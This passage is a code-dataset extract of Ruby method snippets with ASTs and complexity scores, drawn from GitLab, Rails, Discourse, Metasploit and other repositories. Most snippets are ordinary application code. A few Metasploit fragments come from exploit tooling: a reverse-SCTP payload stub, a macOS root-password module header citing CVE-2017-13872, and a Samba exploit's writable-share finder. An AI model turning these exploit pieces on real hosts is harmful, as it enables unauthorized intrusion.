failed\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"send\",\"children\":[null,\"log_attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Failure\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk_import_entity_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_tracker\"]},\"pipeline_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_step\"]},{\"type\":\"str\",\"children\":[\"pipeline_worker_run\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"correlation_id_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Labkit\"]},\"Correlation\"]},\"CorrelationId\"]},\"current_or_new_id\"]}]}]}]}]}]}","id":"e8bda4f8-ea96-4ce3-acbc-98461fae75a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/linux/x64/reverse_sctp.rb","start_line":44,"raw_source":"def transport_config(opts={})\n    transport_config_reverse_sctp(opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transport_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"transport_config_reverse_sctp\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"e3c8c8e3-c7b3-490c-9d55-1e20fafc78c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/composer.rb","start_line":94,"raw_source":"def editing_message?(message)\n          has_value?(message.message) && message_details.editing?(message)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"editing_message?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_value?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_details\"]},\"editing?\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"a70a40cf-8a5e-464d-b228-2fb73919f356"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/container_class_mismatch_error.rb","start_line":11,"raw_source":"def message\n        \"Expected container class to be #{@repo_type.container_class} for \" \\\n          \"repo type #{@repo_type.name}, but found #{@container_class} instead.\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected container class to be \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_type\"]},\"container_class\"]}]},{\"type\":\"str\",\"children\":[\" for \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"repo type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_type\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", but found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container_class\"]}]},{\"type\":\"str\",\"children\":[\" instead.\"]}]}]}]}","id":"166d1421-504f-4d59-9c1c-5d9b2209164f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/merge_request_diff_helpers.rb","start_line":37,"raw_source":"def get_parallel_line_components(line_holder, diff_side = nil)\n    side_index = diff_side == 'left' ? 0 : 1\n    # Wait for `.line_content`\n    line_holder.find('.line_content', match: :first)\n    # Wait for `.diff-line-num`\n    line_holder.find('.diff-line-num', match: :first)\n    { content: line_holder.all('.line_content')[side_index], num: line_holder.all('.diff-line-num')[side_index] }\n  end","complexity_score":10.68,"ast_json":"{\"type\":\"def\",\"children\":[\"get_parallel_line_components\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_holder\"]},{\"type\":\"optarg\",\"children\":[\"diff_side\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"side_index\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_side\"]},\"==\",{\"type\":\"str\",\"children\":[\"left\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_holder\"]},\"find\",{\"type\":\"str\",\"children\":[\".line_content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_holder\"]},\"find\",{\"type\":\"str\",\"children\":[\".diff-line-num\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_holder\"]},\"all\",{\"type\":\"str\",\"children\":[\".line_content\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"side_index\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"num\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_holder\"]},\"all\",{\"type\":\"str\",\"children\":[\".diff-line-num\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"side_index\"]}]}]}]}]}]}","id":"d4516677-30ab-451a-8c28-06d2f4598de2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/pipeline_spec.rb","start_line":518,"raw_source":"def build_query_to_find_pipeline_shas(*pipelines)\n    pipeline_fields = pipelines.map.each_with_index do |pipeline, idx|\n      \"pipeline#{idx}: pipeline(iid: \\\"#{pipeline.iid}\\\") { sha }\"\n    end.join(' ')\n\n    graphql_query_for('project', { 'fullPath' => project.full_path }, pipeline_fields)\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_query_to_find_pipeline_shas\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"pipelines\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipelines\"]},\"map\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pipeline\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"str\",\"children\":[\": pipeline(iid: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"iid\"]}]},{\"type\":\"str\",\"children\":[\"\\\") { sha }\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"pipeline_fields\"]}]}]}]}","id":"a15099d9-72d3-47b8-84a4-508a5ca54cd3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines_controller.rb","start_line":81,"raw_source":"def new\n    @pipeline = project.all_pipelines.new(ref: @project.default_branch)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"all_pipelines\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"default_branch\"]}]}]}]}]}]}","id":"e2e2ddf4-9b8d-4947-84fe-101d8c722c0f"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications.rb","start_line":37,"raw_source":"def self.article_data(article)\n    {\n      id: article.id,\n      cached_tag_list_array: article.decorate.cached_tag_list_array,\n      class: { name: \"Article\" },\n      title: article.title,\n      path: article.path,\n      url: article.url,\n      updated_at: article.updated_at,\n      published_at: article.published_at,\n      readable_publish_date: article.readable_publish_date,\n      reading_time: article.reading_time\n    }\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"article_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_tag_list_array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"decorate\"]},\"cached_tag_list_array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"published_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readable_publish_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"readable_publish_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reading_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"reading_time\"]}]}]}]}","id":"e868da4b-017b-40a6-b801-678c104a06fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250801183706_update_project_auto_duo_code_review_for_cascading.rb","start_line":6,"raw_source":"def up\n    change_column_default :project_settings, :auto_duo_code_review_enabled, from: false, to: nil\n    change_column_null :project_settings, :auto_duo_code_review_enabled, true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"sym\",\"children\":[\"auto_duo_code_review_enabled\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"project_settings\"]},{\"type\":\"sym\",\"children\":[\"auto_duo_code_review_enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"55006dd7-9672-42a5-898e-c69ae9ee3be2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/restrict_allowed_schemas.rb","start_line":150,"raw_source":"def raise_ddl_not_allowed_error(message)\n            raise DDLNotAllowedError, \\\n              \"DDL queries (structure) are disallowed in the Select/DML (SELECT/UPDATE/DELETE) mode. \" \\\n              \"#{message}. #{documentation_url}\"\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_ddl_not_allowed_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DDLNotAllowedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DDL queries (structure) are disallowed in the Select/DML (SELECT/UPDATE/DELETE) mode. \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"documentation_url\"]}]}]}]}]}]}","id":"60c4a338-e798-4a7e-9db9-7e27e257932c"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/test_case.rb","start_line":48,"raw_source":"def encrypted\n        @encrypted ||= TestCookies.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@encrypted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestCookies\"]},\"new\"]}]}]}","id":"a0bd9e36-d683-4beb-858e-e2227f5bb0c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/vnc/ard_root_pw.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'Apple Remote Desktop Root Vulnerability',\n      'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',\n      'References' => [\n        ['CVE', '2017-13872'],\n        ['URL', 'https://support.apple.com/en-us/HT208315']\n      ],\n      'Author' => 'jgor',\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        Opt::RPORT(5900),\n        OptString.new('PASSWORD', [false, 'Set root account to this password', ''])\n      ]\n    )\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apple Remote Desktop Root Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-13872\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://support.apple.com/en-us/HT208315\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"jgor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5900]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Set root account to this password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"6fb65a91-1620-4c62-aefd-13b33b9fc808"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/shopify/callbacks_controller.rb","start_line":4,"raw_source":"def show\n    verify_account!\n\n    @response = oauth_client.auth_code.get_token(\n      params[:code],\n      redirect_uri: '/shopify/callback'\n    )\n\n    handle_response\n  rescue StandardError => e\n    Rails.logger.error(\"Shopify callback error: #{e.message}\")\n    redirect_to \"#{redirect_uri}?error=true\"\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_account!\"]},{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_client\"]},\"auth_code\"]},\"get_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"str\",\"children\":[\"/shopify/callback\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Shopify callback error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_uri\"]}]},{\"type\":\"str\",\"children\":[\"?error=true\"]}]}]}]}]},null]}]}","id":"5c48106c-a8b2-4df7-911a-d625d554b826"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_model_attributes.rb","start_line":57,"raw_source":"def check_for_attr_protected_bypass\n    upgrade_version = case\n                      when version_between?(\"2.0.0\", \"2.3.16\")\n                        \"2.3.17\"\n                      when version_between?(\"3.0.0\", \"3.0.99\")\n                        \"3.2.11\"\n                      when version_between?(\"3.1.0\", \"3.1.10\")\n                        \"3.1.11\"\n                      when version_between?(\"3.2.0\", \"3.2.11\")\n                        \"3.2.12\"\n                      else\n                        nil\n                      end\n\n    if upgrade_version\n      message = msg(msg_code(\"attr_protected\"), \" is bypassable in \", msg_version(rails_version), \". Use \", msg_code(\"attr_accessible\"), \" or upgrade to \", msg_version(upgrade_version))\n      confidence = :high\n      link = \"https://groups.google.com/d/topic/rubyonrails-security/AFBKNY7VSH8/discussion\"\n    else\n      message = msg(msg_code(\"attr_accessible\"), \" is recommended over \", msg_code(\"attr_protected\"))\n      confidence = :medium\n      link = nil\n    end\n\n    return message, confidence, link\n  end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_attr_protected_bypass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upgrade_version\",{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.16\"]}]},{\"type\":\"str\",\"children\":[\"2.3.17\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.99\"]}]},{\"type\":\"str\",\"children\":[\"3.2.11\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.10\"]}]},{\"type\":\"str\",\"children\":[\"3.1.11\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.11\"]}]},{\"type\":\"str\",\"children\":[\"3.2.12\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upgrade_version\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"attr_protected\"]}]},{\"type\":\"str\",\"children\":[\" is bypassable in \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\". Use \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"attr_accessible\"]}]},{\"type\":\"str\",\"children\":[\" or upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"upgrade_version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/AFBKNY7VSH8/discussion\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"attr_accessible\"]}]},{\"type\":\"str\",\"children\":[\" is recommended over \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"attr_protected\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}","id":"fbc0df13-3d40-46c2-a90f-9838412ac7bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":324,"raw_source":"def test_new_with_invalid_type\n    assert_raise(ActiveRecord::SubclassNotFound) { Company.new(type: \"InvalidType\") }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_new_with_invalid_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SubclassNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"InvalidType\"]}]}]}]}]}]}","id":"829db993-58ec-44ec-aa2c-26c17d2a6e26"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb","start_line":204,"raw_source":"def find_writeable_share_path\n    @path = nil\n    share_info = smb_netshareenumall\n    if datastore['SMB_SHARE_NAME'].blank?\n      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']\n    end\n\n    share_info.each do |share|\n      next if share.blank?\n      next if share.first.blank?\n      next if share.first.upcase == 'IPC$'\n\n      found = find_writeable_path(share.first)\n      next unless found\n\n      @share = share.first\n      @path = found\n      break\n    end\n  end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_writeable_share_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"share_info\",{\"type\":\"send\",\"children\":[null,\"smb_netshareenumall\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB_SHARE_NAME\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_info\"]},\"unshift\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB_SHARE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"DISK\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_info\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"share\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"first\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"first\"]},\"upcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"IPC$\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"send\",\"children\":[null,\"find_writeable_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@share\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share\"]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"found\"]}]},{\"type\":\"break\",\"children\":[]